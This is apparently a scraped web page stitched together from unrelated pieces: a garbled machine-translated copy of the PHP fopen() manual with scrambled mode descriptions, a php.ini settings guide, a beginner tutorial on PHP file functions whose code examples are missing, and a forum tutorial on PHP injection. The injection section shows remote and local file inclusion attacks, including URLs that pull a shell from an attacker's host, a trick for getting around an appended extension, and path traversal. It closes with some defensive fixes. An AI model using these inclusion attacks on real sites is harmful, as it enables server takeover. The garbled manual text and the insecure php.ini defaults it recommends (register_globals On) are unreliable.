14.06.2024
Home / Game consoles / Working with files in php: opening, writing, reading. Does PHP proc_open block a web request? Error Handling and Logs

Working with files in php: opening, writing, reading. Does PHP proc_open block a web request? Error Handling and Logs

(PHP 4, PHP 5, PHP 7)

fopen - Opens a file or URL

Description

Resource fopen (string $filename , string $mode [, bool $use_include_path = false [, resource $context ]])

fopen() assigns the named resource specified in the filename argument to the stream.

List of parameters

If filename is passed in the form "scheme://...", it is considered a URL and PHP will look for a protocol handler (also known as a "wrapper") for that scheme. If no wrapper is assigned to the protocol, PHP will issue a warning to help you track down a potential problem in your script and then continue execution as if filename were pointing to a regular file.

If PHP sets filename to point to a local file, then it attempts to open a stream to that file.

The file must be accessible by PHP, so you should make sure that the file permissions allow this.

If you have enabled safe mode or open_basedir then further restrictions apply.:

If PHP determines that filename points to a registered protocol, and that protocol is registered as a network URL, PHP checks the state of the allow_url_fopen directive. If it is disabled, PHP will issue a warning and the fopen call will fail. Comment A list of supported protocols is available in the Supported protocols and wrappers section. Some protocols ( wrappers used by wrapper http).

On the Windows platform, you must escape all backslashes in the file path or use forward slashes.

$handle = fopen("c:\\folder\\resource.txt" , "r" );
?>

The mode parameter specifies the type of access you are requesting from the thread. It can be one of the following options:

List of possible modes for fopen() using mode
mode Description
"r" Opens the file read-only; places the pointer at the beginning of the file.
"r+" Opens a file for reading and writing; places the pointer at the beginning of the file.
"w" Opens the file for writing only; places a pointer at the beginning of the file and truncates the file to zero length.
If the file does not exist, it tries to create it. "w+"
Opens a file for reading and writing; places a pointer at the beginning of the file and truncates the file to zero length. If the file does not exist, it tries to create it.
"a" Opens the file for writing only; places the pointer at the end of the file. If the file does not exist, it tries to create it.
"a+" Opens a file for reading and writing; places the pointer at the end of the file. If the file does not exist, it tries to create it. fopen()"x" Creates and opens for writing only; places the pointer at the beginning of the file. If the file already exists, call ends in failure, will return FALSE and will give a level error E_WARNING. If the file does not exist, it will try to create it. This is equivalent to specifying flags.
O_EXCL|O_CREAT for internal system call "a+".
open(2) "x+" "w" Creates and opens for reading and writing; otherwise has the same behavior as "a+""c" Opens the file for writing only. If the file does not exist, it is created. If the file exists, then it is not truncated (unlike "w"), and calling this function does not cause an error (as is the case with ). The file pointer will be set to the beginning of the file. This can be useful if you want to lock a file (see flock()
) before changing, since use can truncate the file before the lock has been acquired (if you wish to truncate the file, you can use the function open(2).

If you have enabled safe mode or open_basedir then further restrictions apply.:

ftruncate() after a blocking request)."c+" Opens a file for reading and writing; otherwise has the same behavior as Different families of operating systems have different conventions regarding line endings. When you are writing text and want to insert a line break, you must use the correct characters (or symbol) for your operating system. Unix family systems use \n as line ending characters and Macintosh systems use \r as the end of line character.

If you use the wrong line ending character when editing files, you may find that those files look "weird" when you open them.

Windows offers a text broadcast mode flag ( "t"), which will automatically translate Opens a file for reading and writing; otherwise has the same behavior as V \n while working with the file. And vice versa - you can also use"b" And vice versa - you can also use to force binary mode, which will not convert your data. To use these modes, specify "t" or

the last letter of the mode parameter. "t" Since the default translation flag setting depends on the SAPI and PHP version used, we recommend that you explicitly set the specified flag for portability reasons. You must use the mode if you are working with text file Opens a file for reading and writing; otherwise has the same behavior as and use And vice versa - you can also use.

to mark the end of a line in your script without worrying about the readability of your files in other applications like Notepad. In all other cases, use the flag \n.

If you have enabled safe mode or open_basedir then further restrictions apply.:

If you don't explicitly specify the "b" flag when working with binary files, you may experience strange corruption of your data, including corrupted image files and strange symbol problems fopen() .

If you have enabled safe mode or open_basedir then further restrictions apply.:

For portability reasons, it is strongly recommended to always use the "b" flag when opening files with "t" Additionally, for portability reasons, it is also strongly recommended to rewrite legacy code that relies on the And vice versa - you can also use.

so that it uses proper line endings and mode instead

use_include_path The optional third parameter use_include_path can be set to "1" or TRUE

if you also want to search for a file in include_path .

If you have enabled safe mode or open_basedir then further restrictions apply.: Context Context support was added in PHP 5.0.0. For description contexts

see the Streams section.

Return values Creates and opens for writing only; places the pointer at the beginning of the file. If the file already exists, call Returns a pointer to the file if successful, or

in case of error.

Errors FALSE If the file could not be opened, a level error will be generated

. You can use the operator to suppress this error.

List of changes

Examples fopen()

Example #1 Examples of use
$handle = fopen("/home/rasmus/file.txt" , "r" );
$handle = fopen ("/home/rasmus/file.gif" , "wb" );
$handle = fopen("http://www.example.com/" , "r" ); $handle = fopen ( "ftp://user:[email protected]/somefile.txt"
?>

, "w" );

Notes

Attention When using SSL, Microsoft IIS violates the protocol by closing the connection without sending an indicator. PHP will report this as "SSL: Fatal Protocol Error" the moment you reach the end of the data. To get around this, you should set error_reporting to a level that excludes E_WARNING. PHP versions 4.3.7 and older can detect that there is a problematic IIS on the server side when opening a stream using a wrapper https:// and does not display a warning. If you are using fsockopen() for creating ssl:// socket, it is your responsibility to detect and suppress this warning.

If you have enabled safe mode or open_basedir then further restrictions apply.: When the safe mode option is enabled, PHP checks whether the directory you are about to work with has the same UID (owner) as the script being executed.

If you have enabled safe mode or open_basedir then further restrictions apply.:

If you encounter problems while reading or writing files and you are using PHP as a server module, make sure that the server process has access to the files and directories you are using.

If you have enabled safe mode or open_basedir then further restrictions apply.:

This function may also succeed if filename is a directory. If you are not sure whether filename is a file or a directory, then you need to use the function is_dir() fopen() .

, before the call

  1. The location of the php.ini file depends on the operating system on which the hosting provider's server is running. To find out where it is, follow 4 simple steps:
  2. Create a php file (the name can be anything, but we take myphpinfo.php as an example), and add the following lines to it:
  3. Upload this file to the server where your site is located (in the root folder).
  4. We launch through the browser (enter the URL https://yoursitename.com/myphpinfo.php).

In the window that appears, look for the path to php.ini (first look at “Loaded Configuration File”, if it says “None”, then look at “Configuration File (php.ini) Path”).

How to configure php.ini? The php.ini file has the following syntax rules "directive = value". If you want to add comments (for example, in which you indicate what affects this setting

), then do it after the semicolon (everything that comes after this sign is not counted as a command). Here's an example:

max_execution_time = 40 ; Maximum number of seconds for script execution

General settings

PHPengine = On ; PHP scripts are enabled.

Short_open_tag = On ; Allows simplified framing of PHP code with tags<% %>

Asp_tags = On ; Enables the ability to highlight PHP code, as is done in ASP -

Precision = 12 ; Specifies how many digits will be after the decimal point for floating point numbers.

Output_buffering = 4096 ; Output buffering will be automatically enabled, with the buffer size specified after "equals".

Safe_mode_allowed_env_vars = PHP_ ; Allows the user to work only with environment variables that begin with PHP_. If this directive is empty (will have no value), then users will be able to change any environment variables. This can be very detrimental to script security.

Safe_mode_protected_env_vars = LD_LIBRARY_PATH ; Prohibits changing variables that are listed separated by commas.

Disable_functions = ; After the equal sign, you need to write down the functions that you want to disable, separated by commas (usually this is done for security)

Disable_classes = ; After the "equal" sign, you need to write down, separated by commas, the classes whose calling you want to prohibit (usually this is done for security)

Resource Limitation

max_execution_time = 40 ; Maximum time for script execution (in seconds)

Max_input_time = 40 ; The maximum time in seconds that the script is given to process the data that is being loaded.

Memory_limit = 16M ; Maximum memory allocated for one script

Error Handling and Logs

error_reporting = E_ALL | E_ERROR | E_WARNING | E_PARSE | E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_COMPILE_WARNING | E_USER_ERROR | E_USER_WARNING | E_USER_NOTICE ; Specifies a list of errors that can be displayed.

Display_errors = On; Allows errors to be displayed directly in the browser (often used for ease of debugging).

Display_startup_errors = On ; Errors that appear during PHP startup are allowed to be shown.

Log_errors = On ; Errors are allowed to be written to a log file.

Log_errors_max_len = 1024 ; The maximum number of characters that the log length can be.

Track_errors = On ; The latest error messages will be stored in the $php_errormsg variable

Html_errors = On ; Allow error messages to be displayed in HTML.

Error_log = filename ; Specifies the name of the error log.

Data processing

variables_order = "EGPCS" ; Sets the order in which PHP will register variables (E - built-in variables, G - GET variables, P - POST variables, C - Cookies, S - sessions). If you remove any of the letters, the operation of the corresponding variables will be blocked.

Register_globals = On ; Enables the ability to treat variables that come via GET/POST/Cookie/session as normal variables (eg "$variablename").

Register_argc_argv = On ; It is allowed to create $argv and $argc variables based on information from the GET method.

Post_max_size = 8M ; Sets the maximum amount of data that can be received.

Magic_quotes_gpc = On ; Enables automatic processing of quotes received via POST/GET/Cookie.

Auto_prepend_file = ; The contents of the files specified in these directives must be processed accordingly by PHP BEFORE executing the script
auto_append_file = ; The contents of the files specified in these directives must be processed accordingly by PHP AFTER the script has been executed.

Default_mimetype = "text/html" ; Sets the encoding for Content-type. By default text/html will be used without specifying the encoding

Doc_root = ; Sets the root folder for PHP scripts.

Extension_dir = "./" ; Specifies the folder in which dynamically loaded extensions will be stored.

Uploading files

file_uploads = On ; Uploading files to the server is allowed.

Upload_tmp_dir = ; Temporary directory for files to be downloaded.

Upload_max_filesize = 2M ; Sets the maximum file size that can be uploaded.

Working with sockets

user_agent="PHP" ; The USER_AGENT variable is set when a socket connection occurs.

Default_socket_timeout = 30 ; Maximum time to listen on a socket (seconds).

Sessions

session.save_handler = files; Specifies that session information should be stored in files

session.save_path = /tmp ; After the equal sign, you need to specify the path to the folder in which information about sessions will be stored (it is important that the folder already exists)

session.use_cookies = 1 ; Allows the use of cookies in sessions

session.name = PHPSESSID ; Indicates the use of the session ID as the session name and session cookie

session.cookie_lifetime = 0 ; Session lifetime ("0" means that the session lives until the browser window is closed)

session.use_trans_sid = 1 ; If the user has disabled cookies, the session ID will be added to all links

Dynamic Extensions

extension=modulename.extension ; Can be used to load external modules. For Windows systems, they usually write extension=msql.dll, and for
UNIX - extension=msql.so

Working with MySQL modules

mysql.allow_persistent = On ; Allows stable MySQL connections.

Mysql.max_persistent = -1 ; Sets the maximum number of stable MySQL connections. If you specify -1, this will mean that there are no restrictions.

Mysql.max_links = -1 ; Sets the maximum number of stable MySQL connections and unstable ODBC connections. If you specify -1, this will mean that there are no restrictions.

Mysql.default_port = ; Port for the mysql_connect function.

Mysql.default_socket = ; The socket name for local MySQL connections.

Mysql.default_host = ; Hostname for the mysql_connect function.

Mysql.default_user = ; Username.

Mysql.default_password = ; Password.

If you created your own php.ini file and placed it in the site folder

In this case, for security reasons, you need to block access to it for everyone except you. To do this, you need to write the following code in the .htaccess file:


order allow,deny
deny from all

But be careful, because... With these settings, all directives (php_value, php_flag, etc.) relating to php settings through the .htaccess file will stop working (a 500 Internal Server Error will be displayed).

Important! If you create your own php.ini file, it will only affect the directory in which it is located.

resource fopen(string filename, string mode [, bool use_include_path [, resource zcontext]])

fopen() assigns the named resource specified in the filename argument to the stream. If filename is passed in the form "scheme://...", it is considered a URL and PHP will look for a protocol handler (also known as a "wrapper") for that scheme. If no wrapper is assigned to the protocol, PHP will issue a note to help you track down a potential problem in your script and will continue execution as if filename were pointing to a regular file.

If PHP decides that filename points to a local file, then it will try to open a stream to that file. The file must be accessible by PHP, so you should make sure that the file permissions allow this. If you have Safe Mode or open_basedir enabled, further restrictions apply.

If PHP has decided that filename points to a registered protocol and that protocol is registered as a network URL, PHP will check the state of the allow_url_fopen directive. If it is disabled, PHP will issue a warning and the fopen call will fail.

Comment: Some protocols support context and/or php.ini options. Refer to the appropriate protocol page for a list of options that can be set. (for example, the php.ini user_agent value is used by the http wrapper). For a description of the contexts and zcontext parameters, see the Stream Functions section.

Comment: Context support was added in PHP 5.0.0.

Comment: As of PHP 4.3.2, binary mode is the default mode for all platforms that distinguish between binary and text modes. If you are having problems after upgrading, try using the "t" flag as a workaround until you change your scripts to achieve greater portability, as noted above.

The mode parameter specifies the type of access you are requesting from the thread. It may be one of the following:

If the file could not be opened, the function will return FALSE and will generate a level error E_WARNING. You can use this to suppress this warning.


Example 1. Examples of using the function fopen()

Example #1 Examples of use
$handle = fopen("/home/rasmus/file.txt" , "r" );
$handle = fopen ("/home/rasmus/file.gif" , "wb" );
$handle = fopen("http://www.example.com/" , "r" ); $handle = fopen ( "ftp://user:[email protected]/somefile.txt"
?>

If you encounter problems while reading or writing files and you are using PHP as a server module, make sure that the server process has access to the files and directories you are using.

16.5K

In fact, how to open a php file is not a big problem. It can be harder to open a bottle of beer when you're in the middle of a forest. But only avid programmers think this way. And for beginners, we’ll tell you about all the capabilities of PHP for working with files:

php files

Files with the php extension contain code written in the programming language of the same name. Unlike other languages, php is a server-side programming language. That is, it runs on the server side. Therefore, to debug its code, a local server must be installed on the client machine.

To work with php files, special applications are used - software editors. The most common ones are:

  • Dreamweaver.
  • PHPEdit.
  • Eclipse PHP Development.
When creating websites based on PHP, you may need to reuse program code. In such situations, it is convenient to connect ready-made solutions located in another file. The include construct is used for this. Its syntax is:

include filename

Connection example:

Included file:


Including a file is also possible using the require construct. Unlike include, it includes the file before the program code is executed. Using require in the code, only one call to this file is possible. When accessed again, the system will display a global error message and stop program execution.

The include construct only includes the source during program execution. It supports multiple reading of php file. If an error occurs, only a warning message will be displayed, and code execution will continue from the next line.

Opening and closing files

In php, all operations with files are carried out in several stages:

  • Opening a file;
  • Content editing;
  • Closing the file.

The fopen() function is used to open a file. Its syntax is:

int fopen(string filename, string mode [, int use_include_path])

Accepted arguments:

  • string filename – file name or absolute path to it. If the path to the file is not specified, it will be searched in the current directory. If the file you are looking for is missing, the system will display an error message. Example:

  • string mode – indicates the file opening mode. Values ​​accepted by the argument:
  • r – the file is opened for reading only, the file pointer is set at the beginning;
  • r+ – the file is open for reading and writing;
  • w – creates a new file for writing only. If a file with the same name already exists, all data in it is automatically deleted;
  • w+ - creates a new file for writing and reading. When such a file exists, its data is completely overwritten with new ones;
  • a – the file is open for writing. The pointer is set at the end. That is, writing to the php file will start not from the beginning, but from the end;
  • a+ – open a file in read-write mode. The recording will start from the end;
  • b – mode of working with a file containing binary data (in the binary number system). This mode is only available on the Windows operating system.

To close access to a file, use the fclose() function. Syntax:

int fclose (int file) , where int file is a handle to the site to close.

After each read or write, the file must be closed with this function. Otherwise, the stream created for the file remains open. And this leads to unnecessary consumption of server capacity.

Example:

Reading and writing files

To simply display the entire contents of a file, the readfile() function is ideal. Its syntax is:

readfile (string filename) , where string filename is the string file name (not a handle).


The same file can be read using the fpassthru() function. It reads data from the end pointer position to the end of the file. Its syntax is:

int fpassthru (int file)

The function requires opening and closing a file. Example:

The result is similar to the previous one.

Functions for working with files in php allow you to read content line by line and character by character:

  • string fgets (int file, int length)– the function reads a string of length length . Example:

  • string fread (int file, int length)– the action is identical to the previous one.

To write text data to a file, there are two identical functions:

  • int fputs (int file, string string [, int length ])
  • int fwrite(int file, string string [, int length ])

The functions write to a file int file a string string of the specified length int length ( optional argument). Example:

Creating and deleting files

To create a php file, you can use the fopen() function in "w" or "w+" access mode. Or the touch() function. It sets the file modification time. If there is no element with the searched name, it will be created. Its syntax.

PHP injection basics for beginners.​


PHP injection(eng. PHP injection) - about One of the ways to hack websites running on PHP is to execute foreign code on the server side. Potentially dangerous functions are:
eval(),
preg_replace() (with the "e" modifier),
require_once(),
include_once(),
include(),
require(),
create_function().

PHP injection becomes possible if input parameters are accepted and used without validation.

Click to expand...

(c)Wiki


Basics.​

Php injection- this is a form of attack on a website when the attacker injects his PHP code into the attacked PHP application.
If the injection is successful, the attacker can execute arbitrary (potentially dangerous) PHP code on the target server. For example, fill the shell. But first, let’s discuss in detail how this happens.

For example:
Let's imagine that we have a website written in PHP.
Let's also imagine that the site uses the command page=page.html to display the requested page.
The code will look like this:

$file = $_GET ["page" ]; //Displayed page
include($file);
?>

This means that everything displayed on the page will be embedded in the PHP code of that page. Therefore, an attacker could do something like:

http: //www.attacked_site.com/index.php?page=http://www.attacked_server.com/malicious_script.txt?

If we look at what happens after the include is executed, we see the following code executed on the target server:

$file = "http://www.attack_server.com/malicious_script.txt?"; //$_GET["page"];
include($file); //$file is a script injected by an attacker
?>

We see that the attacker has successfully attacked the target server.

More details:
So, why was the attacker able to perform a PHP injection?
All because function include() allows you to run remote files.

Why was the script with the extension specified in the example *.txt , but not *.php ?
The answer is simple, if the script had the format *.php , it would run on the attacker's server and not on the target system.

The symbol " was also added ? " in the injected script path to remove anything inside the function include() on the target server.
Example:

$file = $_GET ["page" ];
include($file . ".php" );
?>

This script adds the extension *.php to anything called by the command include() .
Those.

http: //www.attack_server.com/malicious_script.txt

Turns into

http: //www.attack_server.com/malicious_script.txt.php

The script will not run with this name (the file does not exist on the attacker’s server /malicious_script.txt.php)
That's why we add "?" to the end of the path to the malicious script:

http: //www.attack_server.com/malicious_script.txt?.php

But it remains executable.

Carrying out PHP injections through the vulnerability of the include() function.​

RFI - remote include during PHP injection.​


The ability to conduct RFI is a fairly common bug in engines.
You can find it as follows:
Let's say we accidentally come across a page that ends like this in the browser's address bar:

/index. php? page = main

We substitute instead main any delusional meaning, for example upyachka

/index. php? page = upyachka

In response we will receive an error:

Warning: main (upyachka. php): failed to open stream: No such file or directory in / home / user / www //page.php on line 3

Warning: main (upyachka. php): failed to open stream: No such file or directory in / home / user / www / page. php on line 3

Warning : main (): Failed opening "upyachka.php" for inclusion (include_path = ".:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear") in /home/user/www/page. php on line 3

This shows us that inclusion is feasible.
Let's try to substitute upyachka site with the path to the shell (the shell file extension should not be specified, or indicate it as described above)

http: //www.attacked_server.com/index.php?file=http://www.attack_site.com/shell

This is how the shell is obtained. Now you need to inform the site administrator about the vulnerability so that he can fix it so that evil guys don’t take advantage of the bug.

LFI - local include for PHP injection.​


Let's imagine that we came across the same vulnerable site

/index. php? file=main

With code

..
Include ("folder/ $page .htm" );

?>

This is already a local inclusion. In this situation, only file listing is possible:

/index. php? page =../ index . php

In the following case, the code looks like this:

..
Include("$dir1/folder/page.php");

?>

In this case, you can write the path to the shell as follows:
Create a folder folder on the website where the shell is stored, drop the shell into this folder:

http: //www.attack_site.com/folder/shell.php

The injection in this case will look like this:

index. php? dir1 = http : //www.site_attacker.com/

Methods of protection


Let's look at the script:

...

include $module . ".php" ;
...
?>

This script is vulnerable because the contents of the variable $module just added *.php and the file is launched using the resulting path.

There are several ways to protect against such an attack:


-Check whether the $module variable contains extraneous characters:

...
$module = $_GET ["module" ];
if (strpbrk ($module , ".?/:" )) die("Blocked" );
include $module . ".php" ;
...
?>

-Check that $module is assigned one of the valid values:
"/" , "" , $page ); // The ability to move to other directories is blocked.
if (file_exists ("files/ $page .htm " ))
{
Include("files/$page.htm" );
}
Else
{
Echo
"error" ;
}

?>

PHP also provides the ability to disable the use of remote files, this is done by changing the value of the allow_url_fopen option to Off in the php.ini configuration file.

The described vulnerability poses a high danger to the site and authors of PHP scripts should not forget about it.

When writing, materials from
Wikipedia,
from the foreign forum security-sh3ll (spl0it),
from the Antichat forum (GreenBear).
Special thanks to Burt And f02 for your help,
support and good criticism)